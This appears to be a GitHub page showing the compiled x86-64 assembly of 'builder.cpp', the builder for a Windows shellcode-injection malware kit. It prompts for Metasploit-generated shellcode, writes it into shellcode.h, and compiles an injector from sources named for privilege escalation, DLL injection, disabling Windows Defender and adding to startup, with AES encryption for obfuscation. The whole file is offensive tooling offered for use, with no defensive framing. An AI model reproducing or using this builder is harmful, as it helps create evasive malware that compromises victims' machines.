-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathasm_b.asm
720 lines (720 loc) · 18.4 KB
/
asm_b.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
.file "builder.cpp"
.text
.def _ZL7sprintfPcPKcz; .scl 3; .type 32; .endef
.seh_proc _ZL7sprintfPcPKcz
_ZL7sprintfPcPKcz:
.LFB5925:
pushq %rbp
.seh_pushreg %rbp
movq %rsp, %rbp
.seh_setframe %rbp, 0
subq $48, %rsp
.seh_stackalloc 48
.seh_endprologue
movq %rcx, 16(%rbp)
movq %rdx, 24(%rbp)
movq %r8, 32(%rbp)
movq %r9, 40(%rbp)
leaq 32(%rbp), %rax
movq %rax, -16(%rbp)
movq -16(%rbp), %rcx
movq 24(%rbp), %rdx
movq 16(%rbp), %rax
movq %rcx, %r8
movq %rax, %rcx
call __mingw_vsprintf
movl %eax, -4(%rbp)
movl -4(%rbp), %eax
addq $48, %rsp
popq %rbp
ret
.seh_endproc
.section .rdata,"dr"
.LC0:
.ascii "shellcode.h\0"
.LC1:
.ascii "recreating shellcode.h \12\0"
.LC2:
.ascii "[-] Couldn't open file\12\0"
.LC3:
.ascii "\12 \0"
.LC4:
.ascii "bool oDebug = TRUE; \0"
.LC5:
.ascii "\12\0"
.LC6:
.ascii "bool oDebug = FALSE; \0"
.text
.globl _Z35write_reverse_shell_2_shellcodeDOThNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb
.def _Z35write_reverse_shell_2_shellcodeDOThNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb; .scl 2; .type 32; .endef
.seh_proc _Z35write_reverse_shell_2_shellcodeDOThNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb
_Z35write_reverse_shell_2_shellcodeDOThNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb:
.LFB8588:
pushq %rbp
.seh_pushreg %rbp
pushq %rbx
.seh_pushreg %rbx
subq $1032, %rsp
.seh_stackalloc 1032
leaq 128(%rsp), %rbp
.seh_setframe %rbp, 128
.seh_endprologue
movq %rcx, 928(%rbp)
movl %edx, %eax
movb %al, 936(%rbp)
leaq .LC0(%rip), %rax
movq %rax, %rcx
.LEHB0:
call remove
leaq 416(%rbp), %rax
movl $16, %r8d
leaq .LC0(%rip), %rdx
movq %rax, %rcx
call _ZNSt14basic_ofstreamIcSt11char_traitsIcEEC1EPKcSt13_Ios_Openmode
.LEHE0:
leaq .LC1(%rip), %rax
movq %rax, %rdx
movq .refptr._ZSt4cout(%rip), %rax
movq %rax, %rcx
.LEHB1:
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
leaq -64(%rbp), %rax
movq %rax, %rcx
call _ZNSt14basic_ifstreamIcSt11char_traitsIcEEC1Ev
.LEHE1:
movq 928(%rbp), %rdx
leaq -64(%rbp), %rax
movl $8, %r8d
movq %rax, %rcx
.LEHB2:
call _ZNSt14basic_ifstreamIcSt11char_traitsIcEE4openERKNSt7__cxx1112basic_stringIcS1_SaIcEEESt13_Ios_Openmode
.LEHE2:
leaq -96(%rbp), %rax
movq %rax, %rcx
call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev
leaq -64(%rbp), %rax
movq %rax, %rcx
call _ZNSt14basic_ifstreamIcSt11char_traitsIcEE7is_openEv
testb %al, %al
je .L4
jmp .L5
.L6:
leaq -96(%rbp), %rdx
leaq -64(%rbp), %rax
movq %rax, %rcx
.LEHB3:
call _ZSt7getlineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7__cxx1112basic_stringIS4_S5_T1_EE
leaq -96(%rbp), %rax
movq %rax, %rcx
call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv
movq %rax, 888(%rbp)
leaq -96(%rbp), %rax
movq %rax, %rdx
movq .refptr._ZSt4cout(%rip), %rax
movq %rax, %rcx
call _ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE
movl $10, %edx
movq %rax, %rcx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_c
leaq -96(%rbp), %rdx
leaq 416(%rbp), %rax
movq %rax, %rcx
call _ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE
movl $10, %edx
movq %rax, %rcx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_c
.L5:
leaq -64(%rbp), %rax
addq $208, %rax
movq %rax, %rcx
call _ZNKSt9basic_iosIcSt11char_traitsIcEEcvbEv
testb %al, %al
jne .L6
jmp .L7
.L4:
leaq .LC2(%rip), %rax
movq %rax, %rdx
movq .refptr._ZSt4cout(%rip), %rax
movq %rax, %rcx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
.L7:
cmpb $0, 936(%rbp)
je .L8
leaq 416(%rbp), %rax
leaq .LC3(%rip), %rdx
movq %rax, %rcx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
movq %rax, %rcx
leaq .LC4(%rip), %rax
movq %rax, %rdx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
movq %rax, %rcx
leaq .LC5(%rip), %rax
movq %rax, %rdx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
jmp .L9
.L8:
movzbl 936(%rbp), %eax
xorl $1, %eax
testb %al, %al
je .L9
leaq 416(%rbp), %rax
leaq .LC3(%rip), %rdx
movq %rax, %rcx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
movq %rax, %rcx
leaq .LC6(%rip), %rax
movq %rax, %rdx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
movq %rax, %rcx
leaq .LC5(%rip), %rax
movq %rax, %rdx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
.LEHE3:
.L9:
leaq -96(%rbp), %rax
movq %rax, %rcx
call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev
leaq -64(%rbp), %rax
movq %rax, %rcx
call _ZNSt14basic_ifstreamIcSt11char_traitsIcEED1Ev
leaq 416(%rbp), %rax
movq %rax, %rcx
call _ZNSt14basic_ofstreamIcSt11char_traitsIcEED1Ev
jmp .L16
.L15:
movq %rax, %rbx
leaq -96(%rbp), %rax
movq %rax, %rcx
call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev
jmp .L11
.L14:
movq %rax, %rbx
.L11:
leaq -64(%rbp), %rax
movq %rax, %rcx
call _ZNSt14basic_ifstreamIcSt11char_traitsIcEED1Ev
jmp .L12
.L13:
movq %rax, %rbx
.L12:
leaq 416(%rbp), %rax
movq %rax, %rcx
call _ZNSt14basic_ofstreamIcSt11char_traitsIcEED1Ev
movq %rbx, %rax
movq %rax, %rcx
.LEHB4:
call _Unwind_Resume
nop
.LEHE4:
.L16:
addq $1032, %rsp
popq %rbx
popq %rbp
ret
.def __gxx_personality_seh0; .scl 2; .type 32; .endef
.seh_handler __gxx_personality_seh0, @unwind, @except
.seh_handlerdata
.LLSDA8588:
.byte 0xff
.byte 0xff
.byte 0x1
.uleb128 .LLSDACSE8588-.LLSDACSB8588
.LLSDACSB8588:
.uleb128 .LEHB0-.LFB8588
.uleb128 .LEHE0-.LEHB0
.uleb128 0
.uleb128 0
.uleb128 .LEHB1-.LFB8588
.uleb128 .LEHE1-.LEHB1
.uleb128 .L13-.LFB8588
.uleb128 0
.uleb128 .LEHB2-.LFB8588
.uleb128 .LEHE2-.LEHB2
.uleb128 .L14-.LFB8588
.uleb128 0
.uleb128 .LEHB3-.LFB8588
.uleb128 .LEHE3-.LEHB3
.uleb128 .L15-.LFB8588
.uleb128 0
.uleb128 .LEHB4-.LFB8588
.uleb128 .LEHE4-.LEHB4
.uleb128 0
.uleb128 0
.LLSDACSE8588:
.text
.seh_endproc
.globl _Z10pad_bufferPhyy
.def _Z10pad_bufferPhyy; .scl 2; .type 32; .endef
.seh_proc _Z10pad_bufferPhyy
_Z10pad_bufferPhyy:
.LFB8590:
pushq %rbp
.seh_pushreg %rbp
movq %rsp, %rbp
.seh_setframe %rbp, 0
subq $16, %rsp
.seh_stackalloc 16
.seh_endprologue
movq %rcx, 16(%rbp)
movq %rdx, 24(%rbp)
movq %r8, 32(%rbp)
movq 24(%rbp), %rax
movq %rax, -8(%rbp)
jmp .L18
.L19:
movq 32(%rbp), %rax
movl %eax, %ecx
movq 24(%rbp), %rax
movl %eax, %r8d
movq 16(%rbp), %rdx
movq -8(%rbp), %rax
addq %rdx, %rax
subl %r8d, %ecx
movl %ecx, %edx
movb %dl, (%rax)
addq $1, -8(%rbp)
.L18:
movq -8(%rbp), %rax
cmpq 32(%rbp), %rax
jb .L19
nop
nop
addq $16, %rsp
popq %rbp
ret
.seh_endproc
.section .rdata,"dr"
.LC7:
.ascii "%02x\0"
.text
.globl _Z14encrypt_stringPKcPKhS2_
.def _Z14encrypt_stringPKcPKhS2_; .scl 2; .type 32; .endef
.seh_proc _Z14encrypt_stringPKcPKhS2_
_Z14encrypt_stringPKcPKhS2_:
.LFB8591:
pushq %rbp
.seh_pushreg %rbp
movq %rsp, %rbp
.seh_setframe %rbp, 0
subq $80, %rsp
.seh_stackalloc 80
.seh_endprologue
movq %rcx, 16(%rbp)
movq %rdx, 24(%rbp)
movq %r8, 32(%rbp)
movq 16(%rbp), %rax
movq %rax, %rcx
call strlen
movq %rax, -16(%rbp)
movq -16(%rbp), %rax
shrq $4, %rax
addq $1, %rax
salq $4, %rax
movq %rax, -24(%rbp)
movq -24(%rbp), %rax
movq %rax, %rcx
call malloc
movq %rax, -32(%rbp)
cmpq $0, -32(%rbp)
jne .L21
movl $0, %eax
jmp .L22
.L21:
movq -16(%rbp), %rcx
movq 16(%rbp), %rdx
movq -32(%rbp), %rax
movq %rcx, %r8
movq %rax, %rcx
call memcpy
movq -24(%rbp), %rcx
movq -16(%rbp), %rdx
movq -32(%rbp), %rax
movq %rcx, %r8
movq %rax, %rcx
call _Z10pad_bufferPhyy
movq -24(%rbp), %rax
movq %rax, %rcx
call malloc
movq %rax, -40(%rbp)
cmpq $0, -40(%rbp)
jne .L23
movq -32(%rbp), %rax
movq %rax, %rcx
call free
movl $0, %eax
jmp .L22
.L23:
movq -24(%rbp), %rcx
movq -32(%rbp), %rdx
movq -40(%rbp), %rax
movq %rcx, %r8
movq %rax, %rcx
call memcpy
movq -24(%rbp), %rax
addq %rax, %rax
addq $1, %rax
movq %rax, %rcx
call malloc
movq %rax, -48(%rbp)
cmpq $0, -48(%rbp)
jne .L24
movq -32(%rbp), %rax
movq %rax, %rcx
call free
movq -40(%rbp), %rax
movq %rax, %rcx
call free
movl $0, %eax
jmp .L22
.L24:
movq $0, -8(%rbp)
jmp .L25
.L26:
movq -40(%rbp), %rdx
movq -8(%rbp), %rax
addq %rdx, %rax
movzbl (%rax), %eax
movzbl %al, %edx
movq -8(%rbp), %rax
leaq (%rax,%rax), %rcx
movq -48(%rbp), %rax
addq %rcx, %rax
movl %edx, %r8d
leaq .LC7(%rip), %rdx
movq %rax, %rcx
call _ZL7sprintfPcPKcz
addq $1, -8(%rbp)
.L25:
movq -8(%rbp), %rax
cmpq -24(%rbp), %rax
jb .L26
movq -24(%rbp), %rax
leaq (%rax,%rax), %rdx
movq -48(%rbp), %rax
addq %rdx, %rax
movb $0, (%rax)
movq -32(%rbp), %rax
movq %rax, %rcx
call free
movq -40(%rbp), %rax
movq %rax, %rcx
call free
movq -48(%rbp), %rax
.L22:
addq $80, %rsp
popq %rbp
ret
.seh_endproc
.def __main; .scl 2; .type 32; .endef
.section .rdata,"dr"
.align 8
.LC8:
.ascii " #### # # ###### # # # # # # ###### #### ##### ##### # # # # ##### ###### ##### \12\0"
.align 8
.LC9:
.ascii "# # # # # # # ## # # # # # # # # # # # # # # # # # \12\0"
.align 8
.LC10:
.ascii " #### ###### ##### # # # # # # # ##### # # ##### # # # # # # ##### # # \12\0"
.align 8
.LC11:
.ascii " # # # # # # # # # # # # # # # # # # # # # # # ##### \12\0"
.align 8
.LC12:
.ascii "# # # # # # # # # ## # # # # # # # # # # # # # # # # # \12\0"
.align 8
.LC13:
.ascii " #### # # ###### ###### ###### # # # #### ###### #### # ##### #### # ###### ##### ###### # # \12\0"
.align 8
.LC14:
.ascii "before we start generate a shell code to inject for example using metasploit and put it in .txt file \12 if not exit with ctrl+C and do it first\12\0"
.align 8
.LC15:
.ascii "[*] enter file path+name.txt with the shell code shellcode : \0"
.align 8
.LC16:
.ascii "debug options :1 with debug ,0 without debug\0"
.LC17:
.ascii "enter debug option \0"
.align 8
.LC18:
.ascii "[*] build with : \12(1) g++ \12(2) recomended msbuild \12 WERNING! gcc or msbuild nead to be in the terminal shortcuts !!\12 enter option : \0"
.align 8
.LC19:
.ascii "[*] writing shell code to file shellcode.h\12\0"
.LC20:
.ascii "[*]compiling the program...\12\0"
.align 8
.LC21:
.ascii "g++ shellinj.cpp priv_esc.cpp find_pid.cpp dll_inj.cpp disable_windef.cpp add_to_startup.cpp aes.c -o shellinj.exe \0"
.LC22:
.ascii "MSbuild.exe shellinject.sln \0"
.align 8
.LC23:
.ascii "[-]err not invaild compile option \0"
.align 8
.LC24:
.ascii "[+]COMPLITE!\12[*] press entr to exit\0"
.text
.globl main
.def main; .scl 2; .type 32; .endef
.seh_proc main
main:
.LFB8592:
pushq %rbp
.seh_pushreg %rbp
pushq %rbx
.seh_pushreg %rbx
subq $120, %rsp
.seh_stackalloc 120
leaq 112(%rsp), %rbp
.seh_setframe %rbp, 112
.seh_endprologue
call __main
leaq .LC8(%rip), %rax
movq %rax, %rdx
movq .refptr._ZSt4cout(%rip), %rax
movq %rax, %rcx
.LEHB5:
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
leaq .LC9(%rip), %rax
movq %rax, %rdx
movq .refptr._ZSt4cout(%rip), %rax
movq %rax, %rcx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
leaq .LC10(%rip), %rax
movq %rax, %rdx
movq .refptr._ZSt4cout(%rip), %rax
movq %rax, %rcx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
leaq .LC11(%rip), %rax
movq %rax, %rdx
movq .refptr._ZSt4cout(%rip), %rax
movq %rax, %rcx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
leaq .LC12(%rip), %rax
movq %rax, %rdx
movq .refptr._ZSt4cout(%rip), %rax
movq %rax, %rcx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
leaq .LC13(%rip), %rax
movq %rax, %rdx
movq .refptr._ZSt4cout(%rip), %rax
movq %rax, %rcx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
leaq .LC14(%rip), %rax
movq %rax, %rdx
movq .refptr._ZSt4cout(%rip), %rax
movq %rax, %rcx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
.LEHE5:
leaq -64(%rbp), %rax
movq %rax, %rcx
call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev
leaq .LC15(%rip), %rax
movq %rax, %rdx
movq .refptr._ZSt4cout(%rip), %rax
movq %rax, %rcx
.LEHB6:
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
leaq -64(%rbp), %rax
movq %rax, %rdx
movq .refptr._ZSt3cin(%rip), %rax
movq %rax, %rcx
call _ZStrsIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7__cxx1112basic_stringIS4_S5_T1_EE
leaq .LC16(%rip), %rax
movq %rax, %rdx
movq .refptr._ZSt4cout(%rip), %rax
movq %rax, %rcx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
movq %rax, %rcx
movq .refptr._ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(%rip), %rax
movq %rax, %rdx
call _ZNSolsEPFRSoS_E
leaq .LC17(%rip), %rax
movq %rax, %rdx
movq .refptr._ZSt4cout(%rip), %rax
movq %rax, %rcx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
leaq -65(%rbp), %rax
movq %rax, %rdx
movq .refptr._ZSt3cin(%rip), %rax
movq %rax, %rcx
call _ZNSirsERb
leaq .LC18(%rip), %rax
movq %rax, %rdx
movq .refptr._ZSt4cout(%rip), %rax
movq %rax, %rcx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
leaq -72(%rbp), %rax
movq %rax, %rdx
movq .refptr._ZSt3cin(%rip), %rax
movq %rax, %rcx
call _ZNSirsERi
movzbl -65(%rbp), %eax
movzbl %al, %ebx
leaq -64(%rbp), %rdx
leaq -32(%rbp), %rax
movq %rax, %rcx
call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1ERKS4_
.LEHE6:
leaq -32(%rbp), %rax
movl %ebx, %edx
movq %rax, %rcx
.LEHB7:
call _Z35write_reverse_shell_2_shellcodeDOThNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb
.LEHE7:
leaq -32(%rbp), %rax
movq %rax, %rcx
call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev
leaq .LC19(%rip), %rax
movq %rax, %rdx
movq .refptr._ZSt4cout(%rip), %rax
movq %rax, %rcx
.LEHB8:
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
leaq .LC20(%rip), %rax
movq %rax, %rdx
movq .refptr._ZSt4cout(%rip), %rax
movq %rax, %rcx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
movl -72(%rbp), %eax
cmpl $1, %eax
jne .L28
leaq .LC21(%rip), %rax
movq %rax, %rcx
call system
jmp .L29
.L28:
movl -72(%rbp), %eax
cmpl $2, %eax
jne .L30
leaq .LC22(%rip), %rax
movq %rax, %rcx
call system
jmp .L29
.L30:
leaq .LC23(%rip), %rax
movq %rax, %rdx
movq .refptr._ZSt4cout(%rip), %rax
movq %rax, %rcx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
.L29:
leaq .LC24(%rip), %rax
movq %rax, %rdx
movq .refptr._ZSt4cout(%rip), %rax
movq %rax, %rcx
call _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
call getch
.LEHE8:
movl $0, %ebx
leaq -64(%rbp), %rax
movq %rax, %rcx
call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev
movl %ebx, %eax
jmp .L36
.L35:
movq %rax, %rbx
leaq -32(%rbp), %rax
movq %rax, %rcx
call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev
jmp .L33
.L34:
movq %rax, %rbx
.L33:
leaq -64(%rbp), %rax
movq %rax, %rcx
call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev
movq %rbx, %rax
movq %rax, %rcx
.LEHB9:
call _Unwind_Resume
.LEHE9:
.L36:
addq $120, %rsp
popq %rbx
popq %rbp
ret
.seh_handler __gxx_personality_seh0, @unwind, @except
.seh_handlerdata
.LLSDA8592:
.byte 0xff
.byte 0xff
.byte 0x1
.uleb128 .LLSDACSE8592-.LLSDACSB8592
.LLSDACSB8592:
.uleb128 .LEHB5-.LFB8592
.uleb128 .LEHE5-.LEHB5
.uleb128 0
.uleb128 0
.uleb128 .LEHB6-.LFB8592
.uleb128 .LEHE6-.LEHB6
.uleb128 .L34-.LFB8592
.uleb128 0
.uleb128 .LEHB7-.LFB8592
.uleb128 .LEHE7-.LEHB7
.uleb128 .L35-.LFB8592
.uleb128 0
.uleb128 .LEHB8-.LFB8592
.uleb128 .LEHE8-.LEHB8
.uleb128 .L34-.LFB8592
.uleb128 0
.uleb128 .LEHB9-.LFB8592
.uleb128 .LEHE9-.LEHB9
.uleb128 0
.uleb128 0
.LLSDACSE8592:
.text
.seh_endproc
.section .rdata,"dr"
_ZNSt8__detail30__integer_to_chars_is_unsignedIjEE:
.byte 1
_ZNSt8__detail30__integer_to_chars_is_unsignedImEE:
.byte 1
_ZNSt8__detail30__integer_to_chars_is_unsignedIyEE:
.byte 1
.ident "GCC: (MinGW-W64 x86_64-msvcrt-mcf-seh, built by Brecht Sanders) 13.0.1 20230402 (experimental)"
.def __mingw_vsprintf; .scl 2; .type 32; .endef
.def remove; .scl 2; .type 32; .endef
.def _ZNSt14basic_ofstreamIcSt11char_traitsIcEEC1EPKcSt13_Ios_Openmode; .scl 2; .type 32; .endef
.def _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc; .scl 2; .type 32; .endef
.def _ZNSt14basic_ifstreamIcSt11char_traitsIcEEC1Ev; .scl 2; .type 32; .endef
.def _ZNSt14basic_ifstreamIcSt11char_traitsIcEE4openERKNSt7__cxx1112basic_stringIcS1_SaIcEEESt13_Ios_Openmode; .scl 2; .type 32; .endef
.def _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev; .scl 2; .type 32; .endef
.def _ZNSt14basic_ifstreamIcSt11char_traitsIcEE7is_openEv; .scl 2; .type 32; .endef
.def _ZSt7getlineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7__cxx1112basic_stringIS4_S5_T1_EE; .scl 2; .type 32; .endef
.def _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv; .scl 2; .type 32; .endef
.def _ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE; .scl 2; .type 32; .endef
.def _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_c; .scl 2; .type 32; .endef
.def _ZNKSt9basic_iosIcSt11char_traitsIcEEcvbEv; .scl 2; .type 32; .endef
.def _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev; .scl 2; .type 32; .endef
.def _ZNSt14basic_ifstreamIcSt11char_traitsIcEED1Ev; .scl 2; .type 32; .endef
.def _ZNSt14basic_ofstreamIcSt11char_traitsIcEED1Ev; .scl 2; .type 32; .endef
.def _Unwind_Resume; .scl 2; .type 32; .endef
.def strlen; .scl 2; .type 32; .endef
.def malloc; .scl 2; .type 32; .endef
.def memcpy; .scl 2; .type 32; .endef
.def free; .scl 2; .type 32; .endef
.def _ZStrsIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7__cxx1112basic_stringIS4_S5_T1_EE; .scl 2; .type 32; .endef
.def _ZNSolsEPFRSoS_E; .scl 2; .type 32; .endef
.def _ZNSirsERb; .scl 2; .type 32; .endef
.def _ZNSirsERi; .scl 2; .type 32; .endef
.def _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1ERKS4_; .scl 2; .type 32; .endef
.def system; .scl 2; .type 32; .endef
.def getch; .scl 2; .type 32; .endef
.section .rdata$.refptr._ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_, "dr"
.globl .refptr._ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_
.linkonce discard
.refptr._ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_:
.quad _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_
.section .rdata$.refptr._ZSt3cin, "dr"
.globl .refptr._ZSt3cin
.linkonce discard
.refptr._ZSt3cin:
.quad _ZSt3cin
.section .rdata$.refptr._ZSt4cout, "dr"
.globl .refptr._ZSt4cout
.linkonce discard
.refptr._ZSt4cout:
.quad _ZSt4cout